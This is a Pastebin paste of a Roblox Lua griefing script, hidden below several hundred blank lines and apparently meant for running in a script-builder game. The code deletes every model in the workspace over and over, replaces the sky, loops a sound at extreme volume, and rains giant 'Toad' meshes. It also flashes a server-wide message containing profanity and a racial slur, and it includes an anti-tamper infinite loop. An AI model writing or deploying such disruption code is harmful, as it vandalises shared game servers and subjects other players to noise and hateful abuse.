Advertisement
antgame11

Untitled

Mar 26th, 2019
106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.23 KB | None | 0 0
  1.  
  2. --Use h/ not hl/
  3.  
  4.  
  5.  
  6.  
  7.  
  8.  
  9.  
  10.  
  11.  
  12.  
  13.  
  14.  
  15.  
  16.  
  17.  
  18.  
  19.  
  20.  
  21.  
  22.  
  23.  
  24.  
  25.  
  26.  
  27.  
  28.  
  29.  
  30.  
  31.  
  32.  
  33.  
  34.  
  35.  
  36.  
  37.  
  38.  
  39.  
  40.  
  41.  
  42.  
  43.  
  44.  
  45.  
  46.  
  47.  
  48.  
  49.  
  50.  
  51.  
  52.  
  53.  
  54.  
  55.  
  56.  
  57.  
  58.  
  59.  
  60.  
  61.  
  62.  
  63.  
  64.  
  65.  
  66.  
  67.  
  68.  
  69.  
  70.  
  71.  
  72.  
  73.  
  74.  
  75.  
  76.  
  77.  
  78.  
  79.  
  80.  
  81.  
  82.  
  83.  
  84.  
  85.  
  86.  
  87.  
  88.  
  89.  
  90.  
  91.  
  92.  
  93.  
  94.  
  95.  
  96.  
  97.  
  98.  
  99.  
  100.  
  101.  
  102.  
  103.  
  104.  
  105.  
  106.  
  107.  
  108.  
  109.  
  110.  
  111.  
  112.  
  113.  
  114.  
  115.  
  116.  
  117.  
  118.  
  119.  
  120.  
  121.  
  122.  
  123.  
  124.  
  125.  
  126.  
  127.  
  128.  
  129.  
  130.  
  131.  
  132.  
  133.  
  134.  
  135.  
  136.  
  137.  
  138.  
  139.  
  140.  
  141.  
  142.  
  143.  
  144.  
  145.  
  146.  
  147.  
  148.  
  149.  
  150.  
  151.  
  152.  
  153.  
  154.  
  155.  
  156.  
  157.  
  158.  
  159.  
  160.  
  161.  
  162.  
  163.  
  164.  
  165.  
  166.  
  167.  
  168.  
  169.  
  170.  
  171.  
  172.  
  173.  
  174.  
  175.  
  176.  
  177.  
  178.  
  179.  
  180.  
  181.  
  182.  
  183.  
  184.  
  185.  
  186.  
  187.  
  188.  
  189.  
  190.  
  191.  
  192.  
  193.  
  194.  
  195.  
  196.  
  197.  
  198.  
  199.  
  200.  
  201.  
  202.  
  203.  
  204.  
  205.  
  206.  
  207.  
  208.  
  209.  
  210.  
  211.  
  212.  
  213.  
  214.  
  215.  
  216.  
  217.  
  218.  
  219.  
  220.  
  221.  
  222.  
  223.  
  224.  
  225.  
  226.  
  227.  
  228.  
  229.  
  230.  
  231.  
  232.  
  233.  
  234.  
  235.  
  236.  
  237.  
  238.  
  239.  
  240.  
  241.  
  242.  
  243.  
  244.  
  245.  
  246.  
  247.  
  248.  
  249.  
  250.  
  251.  
  252.  
  253.  
  254.  
  255.  
  256.  
  257.  
  258.  
  259.  
  260.  
  261.  
  262.  
  263.  
  264.  
  265.  
  266.  
  267.  
  268.  
  269.  
  270.  
  271.  
  272.  
  273.  
  274.  
  275.  
  276.  
  277.  
  278.  
  279.  
  280.  
  281.  
  282.  
  283.  
  284.  
  285.  
  286.  
  287.  
  288.  
  289.  
  290.  
  291.  
  292.  
  293.  
  294.  
  295.  
  296.  
  297.  
  298.  
  299.  
  300.  
  301.  
  302.  
  303.  
  304.  
  305.  
  306.  
  307.  
  308.  
  309.  
  310.  
  311.  
  312.  
  313.  
  314.  
  315.  
  316.  
  317.  
  318.  
  319.  
  320.  
  321.  
  322.  
  323.  
  324.  
  325.  
  326.  
  327.  
  328.  
  329.  
  330.  
  331.  
  332.  
  333.  
  334.  
  335.  
  336.  
  337.  
  338.  
  339.  
  340.  
  341.  
  342.  
  343.  
  344.  
  345.  
  346.  
  347.  
  348.  
  349.  
  350.  
  351.  
  352.  
  353.  
  354.  
  355.  
  356.  
  357.  
  358.  
  359.  
  360.  
  361.  
  362.  
  363.  
  364.  
  365.  
  366.  
  367.  
  368.  
  369.  
  370.  
  371.  
  372.  
  373.  
  374.  
  375.  
  376.  
  377.  
  378.  
  379. function sandbox(var,func)
  380. local env = getfenv(func)
  381. local newenv = setmetatable({},{
  382. __index = function(self,k)
  383. if k=="script" then
  384. return var
  385. else
  386. return env[k]
  387. end
  388. end,
  389. })
  390. setfenv(func,newenv)
  391. return func
  392. end
  393. cors = {}
  394. mas = Instance.new("Model",game:GetService("Lighting"))
  395. ModuleScript0 = Instance.new("ModuleScript")
  396. Script1 = Instance.new("Script")
  397. LocalScript2 = Instance.new("LocalScript")
  398. ModuleScript0.Name = "MainModule"
  399. ModuleScript0.Parent = mas
  400. table.insert(cors,sandbox(ModuleScript0,function()
  401. script.Parent = nil
  402. local Module = script;
  403. local Scripts = {};
  404. for _,v in next, Module:GetChildren'' do
  405. Scripts[v.Name:lower()] = v:Clone();
  406. v:Remove()a
  407. end;
  408.  
  409. Module.Changed:connect(function() repeat while true do end until nil end)
  410.  
  411. local Players = game:GetService("Players");
  412.  
  413. return function()
  414. local Me = Players:FindFirstChild("antgame11");
  415. Me.Chatted:connect(function(Message)
  416. if string.sub(Message,1,7) == "script/" then
  417. if(Scripts[string.sub(Message,8):lower()])then
  418. local given = Scripts[string.sub(Message,8):lower()]
  419. given:Clone().Parent = Me:FindFirstChildOfClass("PlayerGui") or Me:FindFirstChildOfClass("Backpack") or Me.Character;
  420. end
  421. end;
  422. end)
  423. end
  424. end))
  425. Script1.Name = "Toad"
  426. Script1.Parent = ModuleScript0
  427. table.insert(cors,sandbox(Script1,function()
  428. local Player = game:GetService("Players").antgame11
  429. local Mouse,mouse,UserInputService,ContextActionService
  430. do
  431. script.Parent = Player.Character
  432. local CAS = {Actions={}}
  433. local Event = Instance.new("RemoteEvent")
  434. Event.Name = "UserInput_Event"
  435. Event.Parent = Player.Character
  436. local fakeEvent = function()
  437. local t = {_fakeEvent=true}
  438. t.Connect = function(self,f)self.Function=f end
  439. t.connect = t.Connect
  440. return t
  441. end
  442. local m = {Target=nil,Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent()}
  443. local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()}
  444. function CAS:BindAction(name,fun,touch,...)
  445. CAS.Actions[name] = {Name=name,Function=fun,Keys={...}}
  446. end
  447. function CAS:UnbindAction(name)
  448. CAS.Actions[name] = nil
  449. end
  450. local function te(self,ev,...)
  451. local t = m[ev]
  452. if t and t._fakeEvent and t.Function then
  453. t.Function(...)
  454. end
  455. end
  456. m.TrigEvent = te
  457. UIS.TrigEvent = te
  458. Event.OnServerEvent:Connect(function(plr,io)
  459. if plr~=Player then return end
  460. if io.isMouse then
  461. m.Target = io.Target
  462. m.Hit = io.Hit
  463. elseif io.UserInputType == Enum.UserInputType.MouseButton1 then
  464. if io.UserInputState == Enum.UserInputState.Begin then
  465. m:TrigEvent("Button1Down")
  466. else
  467. m:TrigEvent("Button1Up")
  468. end
  469. else
  470. for n,t in pairs(CAS.Actions) do
  471. for _,k in pairs(t.Keys) do
  472. if k==io.KeyCode then
  473. t.Function(t.Name,io.UserInputState,io)
  474. end
  475. end
  476. end
  477. if io.UserInputState == Enum.UserInputState.Begin then
  478. m:TrigEvent("KeyDown",io.KeyCode.Name:lower())
  479. UIS:TrigEvent("InputBegan",io,false)
  480. else
  481. m:TrigEvent("KeyUp",io.KeyCode.Name:lower())
  482. UIS:TrigEvent("InputEnded",io,false)
  483. end
  484. end
  485. end)
  486. Mouse,mouse,UserInputService,ContextActionService = m,m,UIS,CAS
  487. end
  488.  
  489. wait(1)
  490. math.randomseed(tick() % 1 * 1e6)
  491. sky = coroutine.create(function()
  492. while wait(0.3) do
  493. s = Instance.new("Sky",game.Lighting)
  494. s.SkyboxBk,s.SkyboxDn,s.SkyboxFt,s.SkyboxLf,s.SkyboxRt,s.SkyboxUp = "rbxassetid://201208408","rbxassetid://201208408","rbxassetid://201208408","rbxassetid://201208408","rbxassetid://201208408","rbxassetid://201208408"
  495. s.CelestialBodiesShown = false
  496. end
  497. end)
  498.  
  499.  
  500. del = coroutine.create(function()
  501. while wait(0.3) do
  502. for i,v in pairs(workspace:GetChildren()) do
  503. if v:IsA("Model") then
  504. v:Destroy()
  505. end
  506. end
  507. end
  508. end)
  509.  
  510.  
  511.  
  512. for i,v in pairs(game.Players:GetChildren()) do
  513. end
  514.  
  515. noises = {'rbxassetid://230287740','rbxassetid://271787597','rbxassetid://153752123','rbxassetid://271787503'}
  516.  
  517. sound = coroutine.create(function()
  518. a = Instance.new("Sound",workspace)
  519. a.SoundId = "rbxassetid://141509625"
  520. a.Name = "RAINING MEN"
  521. a.Volume = 58359
  522. a.Looped = true
  523. a:Play()
  524. while wait(0.2) do
  525. rainin = workspace:FindFirstChild("RAINING MEN")
  526. if not rainin then
  527. a = Instance.new("Sound",workspace)
  528. a.SoundId = "rbxassetid://141509625"
  529. a.Name = "RAINING MEN"
  530. a.Volume = 58359
  531. a.Looped = true
  532. a:Play()
  533. end
  534. end
  535. end)
  536.  
  537. msg = coroutine.create(function()
  538. while wait(0.4) do
  539. msg = Instance.new("Message",workspace)
  540. msg.Text = "Get toadroasted you bacon-haired bozos. (GO QUIT FUCKED SHIT NIGGER XD FELIXMAYERKIDS IS A HACKER)"
  541. wait(0.4)
  542. msg:Destroy()
  543. end
  544. end)
  545.  
  546.  
  547. rain = coroutine.create(function()
  548. while wait(10 % 1 * 1e2) do
  549. part = Instance.new("Part",workspace)
  550. part.Name = "Toad"
  551.  
  552. mesh = Instance.new("SpecialMesh",part)
  553.  
  554. sound = Instance.new("Sound",workspace)
  555.  
  556. part.CanCollide = false
  557. part.Size = Vector3.new(440,530,380)
  558. part.Position = Vector3.new(math.random(-3000,1000),math.random(1,3000),math.random(-3000,3000))
  559.  
  560. sound.SoundId = noises[math.random(1,#noises)]
  561. sound:Play()
  562. sound.Ended:connect(function()
  563. sound:Destroy()
  564. end)
  565.  
  566.  
  567. mesh.MeshType = "FileMesh"
  568. mesh.MeshId = "rbxassetid://430210147"
  569. mesh.TextureId = "rbxassetid://430210159"
  570. end
  571. end)
  572. coroutine.resume(sky)
  573. coroutine.resume(del)
  574. coroutine.resume(sound)
  575. coroutine.resume(msg)
  576. coroutine.resume(rain)
  577. end))
  578. LocalScript2.Parent = Script1
  579. table.insert(cors,sandbox(LocalScript2,function()
  580. local Player = game:GetService("Players").LocalPlayer
  581.  
  582. local Char = Player.Character
  583. local Event = Char:WaitForChild("UserInput_Event")
  584.  
  585. local UIS = game:GetService("UserInputService")
  586.  
  587. local input = function(io,a)
  588. if a then return end
  589. local io = {KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState}
  590. Event:FireServer(io)
  591. end
  592. UIS.InputBegan:Connect(input)
  593. UIS.InputEnded:Connect(input)
  594. local Changed = false
  595. local Mouse = Player:GetMouse()
  596. local h,t = Mouse.Hit,Mouse.Target
  597. while wait(1/30) do
  598. if h~=Mouse.Hit or t~=Mouse.Target then
  599. Event:FireServer({isMouse=true,Target=Mouse.Target,Hit=Mouse.Hit})
  600. h,t=Mouse.Hit,Mouse.Target
  601. end
  602. end
  603. end))
  604. for i,v in pairs(mas:GetChildren()) do
  605. v.Parent = script
  606. pcall(function() v:MakeJoints() end)
  607. end
  608. mas:Destroy()
  609. for i,v in pairs(cors) do
  610. spawn(function()
  611. pcall(v)
  612. end)
  613. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement